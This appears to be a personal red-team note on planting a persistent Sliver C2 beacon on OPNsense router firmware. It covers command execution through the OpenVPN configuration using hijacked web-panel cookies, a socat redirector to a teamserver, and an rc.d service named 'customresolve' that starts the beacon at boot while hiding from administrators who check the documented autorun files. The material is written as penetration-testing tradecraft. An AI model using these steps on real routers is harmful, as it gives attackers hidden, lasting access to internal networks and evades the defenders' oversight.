# tl;dr
After exploring [[simple-cisco-beacon]], I wanted to document the simple process of persisting router firmware that allows direct shell access or command execution.
I mostly do that to be thorough, all this stuff is pretty self-explanatory. This applies to a bunch of firmware types, both commercial and open-source, but I'll be using [OPNsense](https://opnsense.org) in a VirtualBox VM.
# getting the shell
On OPNsense or OpenWRT a Linux/FreeBSD shell is just an SSH connection away. Alternatively, if the password to the router is unknown, but web panel cookies are accessible, OPNsense allows to execute a command via OpenVPN server configuration:
![[Pasted image 20230314011542.png]]
```
root@testhost:~/routers# python3 -m http.server 8082
Serving HTTP on 0.0.0.0 port 8082 (http://0.0.0.0:8082/) ...
x.x.x.x - - [13/Mar/2023 22:41:10] code 404, message File not found
x.x.x.x - - [13/Mar/2023 22:41:10] "GET /openvpn HTTP/1.1" 404 -
```
> **note:** This approach does not require inbound connectivity to the router. It can be made to connect to itself to trigger an `up` event.
This option is soon to be deprecated, but for now it isn't, and I bet there will be more plugins with similar functionallity in the future.
# setting up the C2
The first option I explored was `sliver` with an outbound WireGuard connection to a socat redirector (`socat UDP4-LISTEN:53,reuseaddr,fork udp:teamserver_ip:1195`). However, the latest version of Sliver (**1.5.35** at the time of writing) includes a version of the WireGuard module that does not build for a FreeBSD target.
Thus, I ended up using a generic `sliver` implant with mTLS. I was a bit worried about backwards compatibility, as I have seen a similar issue with Linux implants and ancient kernel versions. I have tested this on as old a version as you can download from OPNsense (**v21-something**).
# persistence
The OPNsense [documentation](https://docs.opnsense.org) provides a good overview of legitimate ways to run services on startup: [https://docs.opnsense.org/development/backend/autorun.html](https://docs.opnsense.org/development/backend/autorun.html "https://docs.opnsense.org/development/backend/autorun.html")
In the case that if (ever during the engagement) the network administrators check the files there, I have created a root-level service instead:
```
# in /etc/rc.conf.d/, actually does nothing
customresolver_enable="YES"
```
```bash
# in /etc/rc.d/
#!/bin/sh
#
# $FreeBSD$
#
# PROVIDE: customresolve
nohup /path/to/beacon &
```
```
root@OPNsense:~ # service customresolve start
```
# usage
Router implants are most useful for ensuring access to the internal network, but stuff like `pretender` (which builds easily as a static FreeBSD binary) or other lower-level network penetration testing tools could also be used on-host.